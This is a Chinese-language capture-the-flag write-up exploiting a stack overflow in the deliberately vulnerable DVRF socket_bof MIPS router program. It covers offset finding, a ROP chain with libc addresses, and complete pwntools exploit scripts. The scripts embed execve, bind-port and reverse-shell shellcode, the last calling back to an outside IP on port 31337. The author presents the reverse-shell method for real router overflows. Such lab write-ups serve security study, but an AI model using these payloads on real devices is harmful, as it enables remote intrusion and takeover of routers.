前言
前一篇讲到了 ROP
链的构造,最后直接使用调用 execve
函数的 shellcode
就可以直接 getshell
,但是实际路由器溢出的情况下都不会那么简单。
这里再看一道 DVRF
的题,这道题是 pwnable/ShellCode_Required
下的 socket_bof
。
漏洞分析
直接查看源码:
#include
#include
#include
#include
#include
#include
// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
int main(int argc, char **argv[])
{
if (argc <2){
printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);
}
char str[500] = "\0";
char endstr[50] = "\0";
int listen_fd, comm_fd;
int retval = 0;
int option = 1;
struct sockaddr_in servaddr;
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(atoi(argv[1]));
printf("Binding to port %i\n", atoi(argv[1]));
retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
if (retval == -1){
printf("Error Binding to port %i\n", atoi(argv[1]));
exit(1);}
if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
printf("Setsockopt failed :(\n");
close(listen_fd);
exit(2);
}
listen(listen_fd, 2);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
bzero(str, 500);
write(comm_fd, "Send Me Bytes:",14);
read(comm_fd,str,500);
sprintf(endstr, "nom nom nom, you sent me %s", str);
printf("Sent back - %s",str);
write(comm_fd, endstr, strlen(endstr)+1);
shutdown(comm_fd, SHUT_RDWR);
shutdown(listen_fd, SHUT_RDWR);
close(comm_fd);
close(listen_fd);
return 0x42;
}
同样这里可以发现一处 sprintf
的栈溢出,把程序放入 IDA
中进行分析
在 0x00400D2C
处调用了 sprintf
函数,将格式化后的字符串直接放到大小为 0x50
的栈上,我们的输入如果大于 0x50 的话就会产生栈溢出,这样我们就可以控制返回地址。
这里和上一道题相似,同样这里需要我们使用 ROP
链来构造一个 payload
。
但是这里不同的是,这里我们是通过端口访问的。如果我们这里 getshell
了,这个 shell
还是在服务端的,我们是无法访问的。所以这里我们需要构造一个通过端口能访问到的 shellcode
。
这里我们希望的效果是可以直接反弹 shell
,或者使得 shellcode
能够使服务端在远程某个端口开启一个 shell
,我们就可以通过这个端口连接上,进而获取 shell
。
gdb 调试方法
这里因为程序是开了一个 socket
端口,调试方法稍微有点不太一样。但是还是可以用 attach
的方法来调试
具体的方法是:
- 先把程序用
qemu
跑起来,附加调试端口为23946
- 用
gdb-multiarch
连接上23946
端口:target remote :23946
,程序断在_start
函数处,在0x00400E1C
处下一个断点(也就是lw $ra, 0x270+var_4($sp)
的地方),c 继续运行
- 再新开一个终端,
nc
连接上之后,send payload
之后就可以在gdb
中进行调试了。
确定偏移
控制 ra
之前还是需要先确定偏移地址。这边还是使用 patternLocOffset.py
工具来确定偏移,
python patternLocOffset.py -c -l 500 -f test2
python patternLocOffset.py -s 0x41376241 -l 500
可以看到偏移是 51,后面的四个字节需要填充的 ra 寄存器的值。
构造 payload
根据上一篇 ROP
链构造的思路,我们同样可以用原来的 ROP
链来进行利用,这里不同的地方是 shellcode
的差异,我们需要构造一个能够从端口访问的 shellcode
或者直接使用 socket
弹回一个 shell
。
- 在实际的路由器漏洞挖掘过程中,一般的栈溢出使用
system
函数来getshell
都会存在问题,所以只能另辟蹊径。
所以这里的重点是 shellcode
构造。
我们先用原来的 exp
试试效果:
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
# sleep_end_addr = 0x767144c8
shellcode = ""
shellcode += "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += shellcode
r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')
r.sendline(payload)
r.interactive()
运行起来,在服务端可以看到,这里确实可以 getshell
。
shellcode 的选择和构造
这里的 shellcode
可以选择两种类型,一种是在本地传一个 shell
绑定到某个端口,另一种是直接反弹 shell
。
这里的 shellcode
可以自己开发,也可以直接用网上现成的。自己开发的话比较耗时难度也比较大,这边就直接使用这里的。
反弹 shell
先选择一个反弹 shell
的 shellcode
,在下面这个链接中,可以看到这边是将 shell
反弹到了 192.168.1.177
这个 ip 的 31337
端口。
http://shell-storm.org/shellcode/files/shellcode-860.php
我们使用的话之直接更改他的 ip 地址就行了,也就是对 li $a1, 0xB101A8C0 #192.168.1.177
这条汇编指令进行更改。
如何更改呢?这边就需要用到 pwntools
的 asm
函数。
首先,我们需要把目的 ip 地址转化为 16 进制,这里就拿笔者本机来演示。这里我本机的 IP 是 192.168.123.158
转化成 16 进制为:0x9e7ba8c0
那么这里的汇编语句就是:li $a1,0x9e7ba8c0
导入 pwntools.asm
函数中:
得到相应汇编语句的 hex
值,替换掉 payload
原来的 hex
值就行了。即:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
nc
监听 31337 端口,运行 exp
成功反弹一个 shell
:
绑定到相应端口
这里的 shellcode 使用这里的:
http://shell-storm.org/shellcode/files/shellcode-81.php
也就是开启一个 bash
监听本地的 4919
端口。
bind_port_shellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x13\x37\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xdb\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0\xaf\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
直接替换原来 payload
:
但是这里有点问题,执行完 exp 却开启了别的端口,直接连接上去程序会直接崩溃。所以还是使用上面反弹 shell
的 exp 吧。
exp
#!/usr/bin/python
from pwn import *
context.arch = 'mips'
context.endian = 'little'
libc_addr = 0x766e5000
sleep_offset = 0x0002F2B0
stg3_SC = ""
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf\x7b\x9e\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" # 192.168.123.158
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = 'a' * 51
payload += p32(libc_addr + 0xAfe0) # jr $ra
payload += 'b' * (0x3c - 4 * 9)
payload += 'a' * 4 # s0
payload += p32(libc_addr + 0x21C34) # s1
payload += 'a' * 4 # s2
payload += p32(libc_addr + sleep_offset) # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x2FB10) # ra
#---------------stack 2-------------------
payload += 'c' * 0x24
payload += p32(libc_addr + 0x000214A0) # s3
payload += 'd' * 4 # s4
payload += p32(libc_addr + 0xAfe0) # ra
#---------------stack 3-------------------
payload += 'a' * (0x3c-4*9)
payload += p32(libc_addr + 0x000214A0) # s0
payload += 'a' * 4 # s1
payload += 'a' * 4 # s2
payload += 'a' * 4 # s3
payload += 'a' * 4 # s4
payload += 'a' * 4 # s5
payload += 'a' * 4 # s6
payload += 'a' * 4 # s7
payload += 'a' * 4 # fp
payload += p32(libc_addr + 0x0001B230) # ra
payload += 'f' * 0x28
payload += stg3_SC
r = remote('127.0.0.1',55555)
r.recvuntil('Send Me Bytes:')
r.sendline(payload)
r.interactive()
总结
在实际的路由器栈溢出时,如果执行 execve
函数没办法 getshell
时,可以试试上面反弹 shell
的方式。